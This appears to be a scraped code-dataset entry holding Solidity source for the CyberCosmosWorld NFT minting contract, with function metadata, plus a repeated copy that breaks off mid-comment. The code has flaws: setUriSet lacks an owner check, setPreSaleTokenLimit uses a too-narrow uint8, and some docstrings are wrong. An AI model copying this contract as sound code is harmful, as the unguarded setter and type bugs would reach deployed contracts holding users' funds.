contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
distributeFunds
function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); }
/* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 3532, 3815 ] }
14,164
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
getContractBalance
function getContractBalance() public view returns(uint256) { return address(this).balance; }
/* * @notice returns Balance of the contract * @dev Only owner can call it */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 3911, 4019 ] }
14,165
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param 